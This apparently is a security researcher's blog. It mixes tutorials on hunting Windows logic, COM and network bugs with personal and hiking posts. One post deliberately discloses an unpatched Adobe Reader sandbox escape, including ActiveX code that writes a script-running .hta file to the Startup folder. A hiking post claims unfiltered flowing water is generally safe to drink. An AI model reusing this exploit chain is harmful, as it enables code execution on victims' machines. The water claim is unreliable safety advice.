You can further filter things down by filtering out when it opens a handle for things like "Read control" etc. Once you see an interesting file handle being opened you deselect the "CreateFile" include-filter and look if anything interesting is done with the filehandle.

III. Types of bugs

I roughly explained how to set-up filters in procmon, but now you need to know what to look for.
Most of this comes by experience, so this is really the hardest part to master.
Some vulnerable cases are this (excluding hardlinks as those are mitigated):

Arbitrary read:

Contents of a file from a user write-able location are read and then written to another file.

You can exploit this by making it read an arbitrary file using junctions. So when looking at procmon, file reads can be useful when used to copy contents to a file and there is no impersonation on the read.

Arbitrary delete:

Tip: One way to quickly find deletes is by adding the filter "detail contains "delete: true" then include".

If a file is being deleted in a user writeable folder without impersonation then you can redirect this delete to arbitrary files using junctions.
There is a small detail here. In the past you would need to have either control over the filename of the file being deleted or have a case where it just removes all the files in a folder.

However, these guys came up with a way to delete specific files without having control over the filename: https://www.cyberark.com/threat-research-blog/follow-the-link-exploiting-symbolic-links-with-ease/

So basically if you have a bug where it will delete c:\blah\bear.jpg, because even if you turn c:\blah into a junction pointing to c:\windows\system32 it will just try to delete c:\windows\system32\bear.jpg. What the guys from the article above discovered is that if you turn c:\blah into a junction to the object manager so that it becomes c:\blah -> \rpc control and then plant a symlink in \rpc control named "bear.jpg" pointing to for example c:\windows\system32\drivers\pci.sys you can have it delete arbitrary files. This trick can also be used with arbitrary writes/creates where you don't control the name. I think this will be patched soon.. as this is pretty bad.. I spent a lot of time looking at procmon and I can promise you that this trick can be used to abuse a shitload of bugs.

Arbitrary file writes/create:

If you control the location of a file create and/or write, you can turn this into a junction and have it create a file else where. Or.. write to a different file.

Things to consider here are:

-Is there some way to control the contents being written?
-Can I perhaps have partial control over the contents being written?
You need atleast some control over the contents being written. Just the ability to create a file in an arbitrary directory isn't going to be useful, unless that file is created with a permissive ACL or you can control its contents somehow. (You might want to reverse the function that does the filewrite, as it could reveal more about where it fetches the contents being written)

Arbitrary directory creation:

If a directory is created in a user-writeable location, it would be interesting to see if the ACL is written too. You may be able to create a directory in an arbitrary location and then have it given a permissive ACL that lets the user write to it.

IV. Conclusion

This bug type is super easy to find and exploit. The difficult thing is knowing where to look. But knowing where to look mostly comes down to persistence and just trying things until you find something.
This blogpost was written in a rush and I might change things later lol.


4 December 2021 at 01:29

 Quit my anti depressants a month ago.

They always make me so nausea, and I just felt sick after surgery while on painkillers. So I just quit them cold turkey.

I don't think my brain is broken. I think the world is broken. What's the point in taking pills just to numb all my feelings?

I still remember, many months ago, this guy, putting trash into a homeless person's begging cup. I feel like this sadistic act, epitomizes human society. And it just makes me feel so fucking sick.

People who go through life with a smile on their face, they are just blind, living in their own fantasy world.

Static Analysis 101

22 December 2020 at 06:41

(Click on images to enlarge) 

Github link to trigger code shown in write-up: 


Disclaimer: This blog-post has nothing to do with my employer. And to the more technically skilled reader this blogpost will be really lame. I'm new to this, and even at the company where I work, I don't know anyone who does security that I can ask for advice, I'm just trying to learn all this by myself from books and youtube videos.. just as I did before getting a real job.

Static code analysis 101

I wanted to write this blogpost after I had a bug patched that I found by static analysis, but this will take a long time and I was bored. As I can't copy paste source code into my blog without getting fired, it is hard to have a really indepth discussion. I would much prefer to share a bunch of source code snippets and show you how I would approach static analysis on them. Having the work with decompiler output sucks (still better then ASM!), and I gave up half-way writing this blogpost, so apologies if it seems kind of unstructured. 

Lets say we want to find bugs in windows (same would apply to other software).

We have to find an entrypoint. You can't just start reversing code ad random (you can, but don't).
For local privilege escalation, think of areas that cross privilege boundaries (user->kernel, rpc/com)
For remote bugs, think of areas that cross device boundaries (network protocols.. rdp, smb, etc)

For purpose of demonstration, lets pick COM. (I didn't just want to write about static analysis as there are books that have served this purpose way better, so I figured I might as well just show you how to get started reversing COM and applying static analysis on that. Apologies if this makes the write-up seem convoluted)

Using available tooling to enumerate the attack surface

(Scroll to the next chapter if already familiar with OleView)

With drivers, you would go hunting IOCTL codes and whatnot in a dissassembler. For RPC you would use tooling like RPCview or similar. For COM we have a great tool by James Forshaw:


After downloading make sure you set-up the path of dbghelp.dll (part of the windows sdk) in file->settings (make sure to run OleView as Admin btw):


Lets focus on system services, select 'Local Services' from the Registry drop-down menu:


 I'm just randomly going to pick a COM interface to reverse, scroll to the bottom and expand 'Xbox Live Game Save'.

 Right click  '(5B3E6773-3A99-4A3D-8096-7765DD11785C) ' and select 'Create Instance':


Select the 'IXblGameSaveProviderEnumerator' interface. Then at the bottom select operations->Marshal->View Properties

Press view:


Double click on any of the methods listed in the next tab.

Now we can see the interface methods (with symbolic names):


At this point you would decide if this interface is worth investigating or not.

There's no complex parameters being used in any of the methods. If I was bug hunting I would skip this one because I know Microsoft does a lot of fuzz testing and would prefer to prioritize other functions first. Especially now that race conditions are out of scope for COM, which would be the only bug class fuzz testing might not catch (I think).

Going back we can see where this server is implemented (hover over 'Xbox Live Game Save'):


Static code analysis

I will use Ghidra for this write-up, normally I would use IDA pro, which supports source code and windbg, but if you don't have source code, the decompiler in Ghidra is pretty nice. Load up XblGameSave.dll.

I would not recommend trying to make sense of a function by looking at raw asm. Nearly all the researchers finding complex bugs are using decompilers. 

If decompiler output is still too difficult, I would recommend starting with an open source project. If open source is still too difficult I would recommend spending some time learning coding so you can be better at reading it.

Search for the name of our first method 'GetItems' (which we found earlier in OleView), it's pretty easy to find this one with symbols.


At this point you could go ahead and write a PoC to trigger this code, then trace input in a debugger. But it's better to first read the code 'statically' (hence static code analysis) and see if there could be any potential bugs.

The GetItems function as seen in OleView:

 HRESULT GetItems(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] /* range: 0,50 */ int p1, /* Stack Offset: 24 */ [Out] /* C:(FC_TOP_LEVEL_CONFORMANCE)(16)(FC_ZERO)(FC_ULONG)(Early, Range) */ struct Struct_0[] p2, /* Stack Offset: 32 */ [Out] int* p3);


We see that the first two parameters have [In] infront of them and the last two [Out]. This means the first two parameters provide a value and the last two return a value. You want to focus on the [In] parameters first, and trace them.

We see both param_1 and param_2 being used in the following snippet. This is basically a for loop. It does a check against param_1 and param_2, if it matches it returns otherwise it continues the loop.

  while( true ) {

    if (((uint)((lVar1 - lVar2) / 0x38) <= param_1) || (param_2 <= uVar7)) {

      *param_4 = uVar7;

      __security_check_cookie(local_48 ^ (ulonglong)auStack296);

      return extraout_EAX;


Then inside the loop we see:

    lVar6 = (ulonglong)param_1 * 0x38;

    pXVar8 = param_3 + uVar7;

    iVar4 = WindowsDuplicateString(*(undefined8 *)(lVar6 + *(longlong *)&this->_results),pXVar8);

    if (iVar4 < 0) break;

_results is an array. The size of each element is 0x38: 

lVar6 = (ulonglong)param_1 * 0x38.

So it's going to multiple the size of an element with param_1.

Meaning it's doing array indexing using the first parameter. As you can see here:

lVar6 + *(longlong *)&this->_results

It's just moving a pointer to match the index of the array. This is the funny thing about decompiler output, in a way it does make sense, but you need some experience recognizing what this translates to in code written by hoomans.

When dealing with user controlled indexing, it's good to make sure the bound checks are done well (which is done in the if-statement mentioned earlier).

Also the data type being used is important. If they didn't use UINT but regular int, you could bypass checks overflowing into a negative number and even cause negative array indexing. You don't want this to happen. Microsoft has good coding practices though, but a lot of novices just use signed datatypes everywhere. 

Not having source code and proper symbolic names everywhere can be a pain, but when in doubt or unable to make sense of something, just run it through a debugger. Switch from static analysis to dynamic analysis. I would use static analysis to find code that looks suspicious and requires further investigation.

Once we ruled out integer related bugs, we can focus on the [Out] parameters.

This function will basically return an array containing elements copied from the _result array. 

At this point we need to figure out other functions that could manipulate this array.

Perhaps we can do something with this other interface? 
I will leave this up to the reader to investigate.

You will need to see if adding and deleting from the array we just accessed is done safely. Make sure the element is fully initialized before added to the array, otherwise you got a timing to read uninitialized memory when there is no proper locking.
Race conditions are pretty straight forward, there are a lot of com race conditions where you can force an object to be freed and then access it in another thread, these are common because they are extremely hard to find by fuzzing.

But since Microsoft is mitigating Rpc\COM race conditions, I completely ignore any bug that would require two threads or more. And I frigging wish someone at Microsoft could tell me what these mitigations look like, because I want to hunt for race conditions as they are one of the most interesting bug classes, but I don't want to do pointless work either.

This should be enough practical information to get started.


-Find an entrypoint. Such as COM methods as described above. 

-Load your targeted code in a disassembler. And start tracing input you can control.

Based on the type of input there are different things you need to look out for.

Here is a really short summary:

1. Buffers 

Are buffer being copied into a static array? This can be a problem if you can supply a larger buffer then the size of the array. 

Is there any length calculating being done on the buffer? Make sure the buffer size will not overflow the return value of this length calculation. With modern day computers you can easily construct buffers that take up a couple of gigs.

There are many issue that can arise with buffers, but in general COM marshalling/unmarshalling will prevent a lot of them by design.

2. Integers

Are signed datatypes being used when they should be unsigned? As mentioned earlier, you don't want negative values bypassing checks or resulting in negative array indexing. Also if user supplied integers, in anyway can affect array indexing, this can potentially result in out of bound bugs if proper bound checking is not done.

Again, I recommend reading up on integer bugs, as there is a lot of subtle things that can happen with them, not just integer overflowing.

3. Objects

Some COM interfaces will have methods that take com interfaces as parameter. This means you can make your own implementation of a com interface and a remote server will call into them. You can also have methods that return interface pointers, turning that interface's methods into another part of your attack surface. Objects in general add so much more complexity, but you need to know what you're doing and it may require a lot of reversing.

4. Complex datatypes

COM marshalling works well on simple datatypes, but less so on complex ones. There is less validation on what the user supplies and it will assume the COM server does all the validating. This can lead to a lot of bug types, including type confusion.

5. Race conditions

One of the more difficult bugs to find, even if they are really common. This one does not rely on the type of user input as much. But you will need to look at internal objects and data that gets accessed and see if you can mess with them in another thread, i.e forcing a free on the object.

Either way, on the note of object life time bugs, they don't always come in the shape of race conditions. If you have a bunch of methods that do things with internal objects inside the server process, it's worth investigating.

6. Info leaks

Without doubt the most common bug, but not all info leaks are created equal and you may not get a CVE for them (if you care about that). Info leaks can happen by out of bound reads, but these are less common as they can be found by fuzzing, more common is returning uninitialized memory, as these will not trigger an access violation and make them near impossible to find by anything but static analysis.

7. Logic bugs

See previous write-ups for this. But be aware that logic bugs can come in many forms, not just filesystem related. You need to force yourself to think out of the box to abuse program logic.

-Static analysis is very time intensive. I really recommend when going after windows code to assume it has been heavily fuzzed. So search for complexity and those cases that can't be found by fuzzing.


24 November 2021 at 09:58

 When the polar bear dresses like (wo)men.

And wanders the human world.

It is not curiousity.

For one day, when you are all a lost cause, ice will engulf humanities flaws, into a frozen landscape. And there will be no more pain or suffering.


22 November 2021 at 15:13

 Once you go crazy. You end up at Microsoft.

Microsoft is where all the crazy people go, because there is no other place to go.

Put polar bear stickers all over the office. Ask colleagues if they want to buy 0days. Or walk the hallways trying to find where your desk is hiding. Those damned desks.

Maybe once or twice a year, you'll have clarity again. Find a few more bugs. 

Microsoft is the only thing thats stable in my life. I can rave like a lunatic. Ask Satya to fire me. I'm still here. Like that friend whose always there despite your insane attempts to push them away.

I dread the day this comes to an end. I'm not like the sane people, who would simply find a new job. Once that last remnant of stability is gone. There will only be madness. 

I wish I had been more protective of my mental health. I wish I had never dropped 0days. I wish others other didnt go down that self destructive path. Fame or infamy is bullshit. Who cares. A few good friends. Thats all someone needs. 

Transgender, harassment and anonimity

18 November 2021 at 14:26

 I'm now at one month post bottom surgery. I've met a lot of awesome trans women here in Thailand. All of them have awesome and fullfilled lifes. Those obsessive haters are so wrong about everything. 

I'll go back home a mentally much stronger person. These haters can't be more wrong. They just scream jealousy. All the trans folks I've met are beautiful on the inside and outside. Perhaps that's what frightens those who literally spent years of their lifes harassing us.

It's funny how this stalker tries to get into my head (see my recent tweets for context: https://twitter.com/Essb33/status/1460149107083808772), saying I won't have a legacy. Dude, I'm here living my life to the fullest. I make the world a more secure place. I find massive security vulnerabilities affecting many millions of machine. That's my legacy. This stalker's legacy on the other hand is nothing but misery, sadism and hatred.

Being faced with online harassment by a stalker for close to 4 years, I do wish people on the internet could be held accountable.

Its kind of insane how this stalker always sends me these tailored e-mails when he detects I'm struggling with my mental health, with the clear purpose of pushing me over te edge into comitting suicide. Although, those e-mails never get to me.. this kind of obsessive predatory behavior, someone who is literally trying to harm someone, even indirectly is extremely worrying. When does this guy graduate from being a psychopath on the internet to being one in the real world? I worry for folks from my community. I once got an IP capture on this guy, when he used guerillamail, which actually discloses the sender's IP in the header. It showed that he was from eastern Canada (assuming no vpn), and his torrent history showed he likes barely legal porn (which says a lot about his pysche).. so if ever trans people go missing in eastern Canada.. high change of it being this guy. I'm not even kidding. 4 years of stalking me, reading everything I write and trying to push me over the edge.

Anonimity is a double edged blade. It really is. But these experiences have definitely changed my view. Actions on the internet, can have real world consequences. Perhaps, being at Microsoft, I will be in a position one day to make the internet a safer place.. not just in terms of security flaws.

Anyway. Just had to write this one last blog post. I won't be active online anymore. I've got everything I ever wanted already. Friends and an awesome career. If haters want to get to me, they'll have to come face me in the real world. But I'm a polar bear so I'm not scared.


12 November 2021 at 11:16

 Sometimes I worry my anger is irrational. And im just fighting imagined demons in my head because I share a lot of symptoms with borderline personality disorder. But I can make a long list of shitty industry experiences that eventually resulted in me just dropping bugs. So no, I dont think im just crazy even if thats what people maybe think.


12 November 2021 at 10:21

 Someone hire or mentor @klinix5

If you knew the things I knew you would understand. Don't turn this person into a burned out mess like me. Because unlike me, that would be a true waste of potential and talent. 

That's al I have left to say anymore. I don't do social media anymore or talk to people in general.


12 November 2021 at 09:57

 You know who first started finding all those bugs in windows installer and windows error reporting? That was me, not Forshaw. Aside from that, I did plenty of original work with my earlier sandbox escapes. My edge browser sandbox escape being a good example. Yet I was always downplayed to being some lame person just cloning Forshaw. I know in the end, everything fell into place.. but those 5 years, of social isolation, going hiking for weeks alone, to escape the pain, all the bullshit with this industry. I was mentally so much more stable before I got into bug hunting. 5 years is a long time. I just feel burned out ever since I've joined Microsoft and I can't get rid of that feeling anymore. Nothing is worth sacrificing your mental health over.

Logic bugs

12 November 2021 at 09:17

Logic bugs are great. A lot of logic bug based exploits are version agnostic. And they don't bluescreen your computer when they fail.

After that task scheduler exploit drop, so many people wanted to buy similar exploits, while on social media and that side of infosec regarded my work as a Forshaw rip-off or inferior to kernel exploits. System to kernel isn't even a boundary so I don't see why that should matter.

It was surreal. People ready to throw down huge sums of money and meanwhile failing job interview after job interview. I'm glad I ended up where I am now, because in retrospect, my current managers are probably the only people in this world I could have tolerated as bosses. 

I don't know. Having found plenty of memory corruption bugs now. This industry is so full of sh*t. I never sold a bug because I just really just wanted a job, get out of my country and have colleagues to work with.. and maybe back then, I also just wanted to do the 'right' thing. But as you grow older, you learn there is no 'right' thing. Perhaps the only 'right' thing is the one best for your mental health and quality of life. 

In the end, everyone is just living for their own interests. Selfless people rarely survive in this world. They get devoured by it. Maybe the manager who hired me being the exception. My loyalty is only to those who took a risk with me, not the corporate world. I couldn't care less about that. Once that loyalty ends, I'm not making the same mistakes again.


12 November 2021 at 04:37
Emotions suck.
Emotions are just in your head.
I guess the distress we feel when faced with isolation comes from our tribal history. Being an outcast or getting seperated from the tribe would have meant certain death.
It's funny how much pain can be caused by an evolutionary gimmick.

It's better to become a polar bear. Find strength and determination in being alone. At the end of the day, life is but a temporary thing. Everything is temporary. One day, the day that comes for us all will come for me too. There are so many paths I can take until then. But I know I won't leave anything behind that I will care about when that day comes. I don't know yet what I care about. 

The polar bear method

31 October 2021 at 15:33

Mandatory book: Secure Coding in C and C++      


I have been a bug hunter since 2015. You can see my CVEs here: http://sandboxescaper.blogspot.com/p/disclosures_8.html

A large majority of those bugs have been logic bugs. I started my career as an high school drop-out with nearly no coding experience. Back in 2015 I was heavily inspired by the work James Forshaw did. He exposed a previously mostly untouched gold mine of logic bugs. I quickly figured out how to find these logic bugs despite my limited coding and reversing experience. I continued to do this until I joined Microsoft. However, in retrospect, despite having had success in finding bugs, my technical skills quickly plateaued and I wasn't learning anything new or improving my skills.

So now I will introduce to you, the correct way to lay a solid foundation to become a bug hunter.

The Polar Bear method

Disclosed bugs found using this method. 

This method is a huge departure from what I used to do before.

Now I just read source code and use windbg.

-CVE-2021-33772: Windows TCP/IP remote DoS

This is a remote DoS. Won't go into detail

-CVE-2021-34511: Windows installer LPE

This is an UaF in the system service (first exploitable mem corruption bug in msi in its history I believe discounting one from 2000s that didn't cross priv boundaries)

-CVE-2021-28479: Windows CSC Service Information Disclosure

This is a big stack memory info leak

To add more credibility to my method, watch for Januaries patch tuesday as the majority of my past year's work will get patched then. And those bugs are also by far more severe then anything I've ever found.

Finding your target

Variant hunting is an easy way to find bug. And often the safer option.

However, I would strongly recommend exploring new components.

You can find information about components on the msdn pages or books such as windows internals.

There's a lot of areas with no history of CVEs. This could be an indicator that nobody has really looked at them. 

A target is usually defined as something that either crosses privilege or device boundaries (or both!).

Finding an entry point in your target

A little background:

Going forward I will be using network protocols as an example. The majority of my work in the last year has been in network protocols (you will see in January's patch tuesday).

About a year ago, one of my bosses told me about these crazy tcpip bugs in the msrc tracker.

I got curious. Until that moment my world was limited to local bugs. Sending bytes and pwning a device remotely, WHAT THE HELL? I couldn't believe this type of bug existed. I was fascinated by it.

I spent atleast one or two months taking these PoCs apart, learning scapy to construct packets and reading much of the code in tcpip.sys. 

Doing this was vital, because it taught me about bug patterns that can occur in network facing attack surfaces. 

I have never talked to the person who found all these doomsday tcpip bugs, they work at Microsoft and I believe their twitter handle is: @piazzt .. their PoCs opened up a whole new world for me, so I can't in good conscience write this blogpost without giving credits there.

Getting started:

Unless you can read assembly or decompiler output just as easily as actual code, start with open source.

Seriously. Don't be cocky. Find an open source project, and build a debug build so you have pdb files.

Like, find some crappy open source ftp server or something,

Next you download windbg next (windows store). In the settings, point to pdb and source files.

What you want is the ability to step through source code. You have to be able to step through source code, otherwise you are not doing the polar bear method. No sane person steps through assembly instructions unless you are an elite hacker with 50 years of experience, and in that case this blog post is not aimed at you.

Generate legitimate traffic:

Ideally you want two seperate VMs. One ubuntu VM (or whatever) for running wireshark and one Windows VM with the target you want to exploit.

So you're running an ftp server on windows. While Wireshark is running, logon to the ftp server from your ubuntu VM.

The reason we do this, is that you may see keywords that you can use to search the source code and set an initial breakpoint in Windbg (on the windows VM).

Getting a breakpoint to hit:

Just set a bunch of breakpoints in windbg using functions that you suspect are used in that initial packet parsing.

One you get a hit. View the callstack. Keep going up the callstack until you find the mother of all functions. With that I mean, the function where all of the packet parsing starts.

This is your main goal! Get a breakpoint at the start of packet parsing!!!!


You can capture legitimate traffic. So you know atleast one valid way to structure a packet. Is the protocol public? Then there's probably and RFC out there which you can use. RFCs are awesome.

The first step is to recreate the packet that triggers your breakpoint in a tool like scapy.

In scapy you can just add raw bytes to a variable and send it to your target, it should be the same bytes you see in wireshark (scapy also supports protocols, but for more obscure protocols I just write my entire packets in bytes). Scapy is not hard to learn. And you can find many examples. I've decided against a complete step-by-step guide this time, because learning to figure out things yourself is important too and will make this write-up even more convoluted. Aside from that, I'm always willing to answer questions if I know the answer.

Take note of the initial code path of your legitimate packet. When I refer to code path. I mean, your initial packet parsing function until it returns again.

Your entire packet is user controlled. Find out what you can 'taint' using this packet.

Are things from your packet being copied into buffers? How are size calculations done?  Is there any indexing you control? Any pointer math you can influence? These are the first things I will look at. At this point, I won't worry too much yet about object lifetime bugs, to find those you often need a more complete picture first.

Once you have exhausted your first codepath. Go down the next codepath.

Your initial packet parsing function is the root, the rest are the many branches. 
You go down a different branch by modifying your PoC in scapy so it takes another route during a switch case, if statement, whatever. Then you just walk down the code path in your debugger, again try to spot bugs. Try to make things go out of bounds, stuff like that.

After a while of going down code paths, exploring, you will learn where the most complexity happens. Once you know these areas. Spent a couple of days just trying to break them. Be creative. Sometimes you'll get that Eureka moment when in bed.


There will be days when you just don't want to stare at code in a debugger all day.

These will be your FUN days!

You come up with craaaaazy ideas. Like, how can I come up with a worst case complexity scenario?

Can I make it consume resources without them being released? Or just blindly try out potential UaF cases.

Remember that UaF in the MSI installer? 

I found that bug during a day like this. 

There were 3 API calls, one that created something, one that used it, and one that deleted it.

In one thread I called the functions that created and deleted it.

In another thread I called the function that used it asynchronously.

There was no locking on the internal object being used and I had just found a UaF without much effort!

Many weeks later

Once you have explored most of the code paths. You can begin thinking about object lifetime bugs. One important thing you will need to check first is see if packets are process multithreaded or put in a queue. I hope by god nobody doesn't use a queue for packets that operate on the same internal objects (or use perfect locking).

 You can either audit the slow methodical way. Or just use intuition.. like, don't see locking? Just quickly create a PoC.  At this point you can also start coming up to create more complex testcases. Hit codepaths that you're not supposed to be hitting in your current state. Try to free an object, but instead of making it return, make it continue processing until it either frees again or uses it. There's a lot of weird things that can happen. Sometimes you can directly control lifetime of internal object using options in your packet. Just be creative, have fun, shit doesn't have to be boring.

Closing word and fuzzing

People at Microsoft are elite fuzzers and they use very cool technology. They will always be better and faster at bug hunting then me. 

However, I do see merit in becoming good at spotting bug by reading code and using a debugger. You get a very intimate understanding of both bugs and components. Personally I also just enjoy this more then writing fuzzers. It's important to do things you enjoy. Doing things you don't enjoy is for adults and shit.

When assembly and debugger?

Once you have found enough bugs using source code and debugger, you can try hardcore mode. Just be careful because if you die in hardcore mode, it's game over.

Good luck.

Using filepickers to escape sandboxes


edit: this would have worked with literally any sandbox in  windows having filepicker functionality through a broker, not just adobe. 

Edit2: that special junction didnt need to be placed on a network share, but also worked locally.

Because I am feeling depressed as fuck, I decided to do another write-up about an un-patched bug (feeling sorry for myself and being sad gets boring after a while).

I really did not get anything for this bug, and I know I'm probably forfeiting an acknowledgement too right now. But I wasted alot of time on this bug, and nobody but me should be able to decide what to do with it. People who criticize this type of behavior I find frankly annoying. I used to be one of those self-righteous types, but I'm also pretty annoying, so perhaps there is a correlation.

Adobe Reader

After finding this lame bug (CVE-2018-4872 ): https://sandboxescaper.blogspot.com/2018/01/adobe-reader-escape-or-how-to-steal.html I started thinking about other ways I could escape the sandbox.

To be honest, the Adobe Reader sandbox is pretty tough. Microsoft's sandboxes are way easier, because you get access to a ton of COM, RPC stuff and things like that.

Things I could do on the filesystem were really limited, and I like my filesystem trickery.
Ofcourse, being out of inspiration, and because I'm dumb as hell and can't come up with anything creative myself I went looking at Forshaw's work.

I saw that he did some work using network shares.

Instead of feeding a local filepath into a broker function (broker functions run outside the sandbox) we can use a filepath on an anonymous network share. This basically gives us an adhoc filesystem where we can use junctions and all the fun stuff that we by default do not have access to in the reader sandbox. My thought process was that I could probably use some symlinks or junctions to trick a broker function and bypass a check somewhere.

I tried a bunch of things, and while I got alot of interesting results, I did not get my lucky break.

Again, because I'm stupid, I decided to steal a trick from vault7 (https://wikileaks.org/ciav7p1/cms/page_13763489.html).

If you create a folder with the name: f.{0AFACED1-E828-11D1-9187-B532F1E9575D}
and then put a .lnk file in it, it basically becomes a really funny junction that confuses the hell out of code.

The bug

I'm going to explain the full attack chain.

First we create a folder called f.{0AFACED1-E828-11D1-9187-B532F1E9575D} and we put it on an anonymous network share (this can totally be a network share on the internet that is attacker controlled, not just intranet). Inside the folder we put a .lnk file with the following target:

C:\Users\%username%\AppData\Roaming\Adobe\Acrobat\DC\a.htm (use %username% and not the actual username).

It will look like this on our remote network share:

Now from within the Adobe Reader sandbox we call the broker functionality to open a filepicker window and set the folder on our remote share as root (i.e \\\s\b\f.{0AFACED1-E828-11D1-9187-B532F1E9575D} )

This will redirect the filepicker window to a local .htm page on the victim's pc which we dropped in a sandbox write-able location , and for some reason it will render it. It will render it at medium and we even can get some activex objects working without prompts (which should not happen because we are rendering in the local machine zone, which should be locked down! But we are rendering html in a filepicker window.. so I guess I should not be surprised).

This will work with any filepicker window, since they are managed by windows code, here is a filepicker window opened in chrome using this trick:

Now we can run activex in a filepicker window, but how do we exploit it?
You can complete this attack chain in multiple ways. 
Since the code rendering the html page is basically a castrated version of IE11, we can just complete the chain with an IE bug and gain medium RCE.
But because memory corruption bugs make me sleepy I wanted a logic bug!

We can use the system monitor activex object to write an .hta file to startup!

Here is the full chain exploiting this bug in Adobe Reader (I made sure to hide the filepicker window, because I was still innocent back then and thought it could be useful for attackers when I made it.. but hey, this proves that even if your poc spawns windows and stuff, its not hard to hide them because code runs fast as hell, the only issue this might have had was latency.. but you could have tested for that prior to running the escape.. but still, its way to complicated.. there is better ways to escape sandboxes, even with logic bugs):

Here is the activex object code:

<OBJECT ID="target" WIDTH="1" HEIGHT="1"

target.DataSourceType =2; 
logfiles = target.LogFiles;
Counters = target.Counters;
Counters.Add('\\\\<IMG SRC=\'javascript:WshShell=new ActiveXObject(&quot;WScript.Shell&quot;);WshShell.Run(&quot;notepad.exe&quot);\'>\\LogicalDisk(*)\\*');
target.Relog("C:\\Users\\test\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ByeSandbox.hta",5,1);

So we have a logfile (ew.csv) on our remote network share.
You can generate a log file like this, I forgot how, but I'm sure you can figure it out... but it needs to be in a specific format to be able to be used by the system monitor activex object.

Eitherway, in the csv file we replace all references to our computer name with javascript.

In this line:

Counters.Add('\\\\<IMG SRC=\'javascript:WshShell=new ActiveXObject(&quot;WScript.Shell&quot;);WshShell.Run(&quot;notepad.exe&quot);\'>\\LogicalDisk(*)\\*');

Normally where you would have the computer name, we now also have javascript (this has to be the same as in the csv file).

When we do target.Relog we can write a file with working javascript to any folder outside the sandbox, including start-up. This will result in an .hta file with working javascript code inside (since we have partial control over the contents of the file write). 

Meaning its game over and I now have access to your p*rn collection. 😱


I have learned alot from this bug. This bug was not useful for attackers because of its complexity. I should have known when I started entertaining the idea of remote network shares, that it would add to much complexity and stopped right there. The take away: When bughunting, you need to know when to limit your scope.
On the other hand, don't let it stop you from doing crazy stuff. 
Everyone is just fuzzing or looking at memcpy functions, and while alot of that stuff is really impressive, I doubt it compares to the fun I had constructing this chain ;).

I do think filepickers are an interesting attack surface, because nearly all sandboxes have broker functionality to open them. If its not done through a broker you wouldn't be able to save files outside the sandbox. Its just not something people really think about when considering a sandbox attack surface.

While I did not get anything from this bug, and I doubt people even give a damn, I hope there is some poor soul out there that might get inspired to get into logic bugs. 
I'm not really good at this stuff, but perhaps someone else might actually be useful to this industry and do meaningful stuff.

When the days of memory corruption bugs are counted, logic bugs will rule. 

How to backpack in cold and miserable places

1 September 2021 at 03:57


I switched from maps to gps devices fairly quickly. 

When I started to hike, I once got stuck on a ridge in Scotland for 3 days because of dense fog and not being able to use maps to navigate as there was no visible trail or visibility to see landmarks.

Ever since then I relied mostly on GPS devices.

During my six week hike in the Arctic I relied on a system of having a solar charger, a battery pack, a satellite phone and gps device.

This was easy in the Arctic as in spring and summer it is almost always light and the sun never sets.

This allowed me to charge my devices while sleeping.

My plan was that if there was any point of failure, my solar charger or gps device, I would fall back on using the gps functionality on my phone and make my way to safety. However, it would have probably been wise to atleast carry some maps and a compass. 

I opted for this as that particular hike in the Arctic stretched 700km, and having detailed maps of that entire stretch would have meant a lot of extra weight and space.

In the Arctic I used the garmin explorer plus (Satellite device + gps). And a solar charger from Goal Zero (I have found these to be very good)

Anyway.. I am pretty sure a lot of more hardcore folks would scold my over reliance on technology.. but it works for me and as long as one point of failure doesn't knock out my ability to navigate it is worth the risk for me.


A good 4 season tent is a must. I have two 4 season tents from Hilleberg. The Akto and Nammatj 2. The Nammatj 2 came to good use hiking off-season (fall and winter) in Scotland. With wind speeds of sometimes over 100 km/h in exposed terrain. 

I would also carry a sewing kit with repair rope used for repairing sails (which is pretty strong!). Heavy duty stakes and extra guy line rope if there's a possibility of severe weather.

Having reliable shelter is very important when you're not hiking in Summer, or when hiking in extreme environments. 

Food and Stove

For long hikes, I love freeze dried food. 
To cover a 3 week stretch in the Artic, I carried these:


These are great weight and calorie wise.
In addition I would strongly recommend vitamin C supplements.. to avoid scurvy.

As stove I used this one:


It's a dual purpose stove that can both burn gas and liquid fuel.
Liquid fuel is important in cold weather, as gas does not burn properly below freezing.


Flowing water in cold and miserable places is usually perfectly fine to drink. Especially when it comes directly from snow melt. The only thing that makes you sick is either dead animals or animal poop.. this is usually only a problem at low altitudes or stagnant water such as lakes. I've rarely used a water filter on any of my hikes and I'm still alive. Water with soil particles in it is usually not dangerous and safe to drink even though it may not look completely clean.. as long as it's flowing water. Soil/dirt doesn't make you sick. Just animals.

Sleeping bag / mat

I have several sleeping bags. For winter I have one that can easily withstand -25c temperatures.
In summer I usually use a down quilt. As those pack smaller then normal sleeping bags.
In below freezing conditions, make sure to bring a 4-season sleeping mat. You need enough insulation from the ground.. it is very uncomfortable otherwise.
It's important to anticipate for the correct temperatures. Especially in cold weather.

River Crossings

From personal experience, this has always been my biggest issue. Be extra careful when crossing rivers. They can be extremely easy to underestimate. It all depends on the current and how deep you have to go. Sometimes I can go waist deep if the current isn't too bad. And sometimes I struggle if the water is just to my knees. One time in Scotland, I screwed up and was grabbed by the current.. my backpack kept me afloat.. but it was a terrifying experience. Especially being alone out there in the middle of nowhere. Slowly test the water, and if in any doubt, withdraw. 
Sometimes it's better to wait until morning to cross a river, as there will have been less snow melt. 

Avalanches and snowy terrain

Never cross a glacier alone, especially not without technical gear. In winter, when there is a lot of fresh snow, you also need to be wary of possible avalanches. Avoid camping in gullies or near steep slopes. I recommend doing a lot of reading to learn about avalanches if you're headed into avalanche prone terrain. Crossing snow fields, from personal experiences, is usually fine.. just keep in mind that even in snow fields, especially near slopes, crevasses can form (albeit usually not very deep). Go slow, take the safest route and observe the terrain for irregularities. A lot of this comes from experiences.. but sadly you do not have a lot of chances to screw up and learn from mistakes either.


I can tell you from experience it's nearly impossible to hike on top of a ridge with 100 km/h winds. Keep an eye out for the weather forecast. Make sure to check to forecast for the relevant altitude. Sea level winds and mountain winds can differ day and night. In case of doubt, make camp on a sheltered slope and wait it out or descent down the mountain.

Gear List 

This is a short list that I made, which gives some general guidelines while packing. Ofcourse it varies wildly on where you're going. I always use waterproof storage bags to compartmentalize my gear inside my backpack. It keeps everything sorted and dry.

Main equipment
Waterproof storage bags (sea to summit or whatever)
Backpack + rain cover (I prefer 100L backpack, so nothing is hanging outside if rainy)
Sleeping mat
Sleeping bag
Sat phone
Bear spray + bear sack for food storage
